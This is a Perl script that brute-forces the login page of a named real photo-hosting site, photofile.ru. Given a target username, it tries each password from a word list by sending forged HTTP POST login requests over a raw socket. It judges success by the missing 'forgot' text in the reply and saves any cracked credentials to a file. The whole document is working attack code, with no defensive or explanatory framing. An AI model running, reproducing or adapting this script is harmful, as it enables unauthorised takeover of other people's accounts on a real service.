#!/usr/bin/perl -w

use IO::Socket;

my $login = shift || die "enter login as argument\n";

open my $p, "<", 'passwords.txt' or die "Can\'t open passwords.txt\n";
while (<$p>) { chomp; 

my $sock = new IO::Socket::INET (PeerAddr => 'photofile.ru',
      PeerPort => 80, PeerProto => 'tcp', TimeOut => 20);

my $pdata="return_url=%2Findex.php&login=$login&password=$_";
my $len=length($pdata);
my $request="POST /login/ HTTP/1.1\n".
	"Host: photofile.ru\n".
	"User-Agent: Mozilla/5.0\n".
	"Keep-Alive: 300\n".
	"Connection: keep-alive\n".
	"Referer: http://photofile.ru/index.php\n".
	"Content-Type: application/x-www-form-urlencoded\n".
	"Content-Length: $len\n\n$pdata";

print $sock $request;
sysread ($sock, my $an, 300); if ($an=~m/forgot/==0) 
	{ open my $l, ">>", 'result.txt'; print $l "$login:$_"; 
	  print "\a$login:$_"; close $l; exit;}}
	  
close $p; print "nothing found..\n";